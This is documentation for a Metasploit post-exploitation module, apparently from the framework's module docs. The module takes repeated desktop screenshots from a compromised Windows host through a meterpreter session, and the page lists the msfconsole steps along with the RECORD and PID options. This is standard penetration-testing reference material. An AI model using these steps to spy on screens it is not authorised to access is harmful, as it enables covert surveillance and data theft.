Vulnerable Application

This module will incrementally take desktop screenshots from the host. This allows for screen spying which can be useful to determine if there is an active user on a machine, or to record the screen for later data extraction.

Note: As of March, 2014, the VIEW_CMD option has been removed in favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but not how) the collected screenshots will be viewed from the Metasploit interface.

Verification Steps

Start msfconsole
Get meterpreter session
Do: use post/windows/gather/screen_spy
Do: set SESSION <session id>
Do: run

Options

RECORD

If set to true, record all screenshots to disk by saving them to loot.

PID

PID to migrate into before taking the screenshots. If no PID is specified, default to current PID.
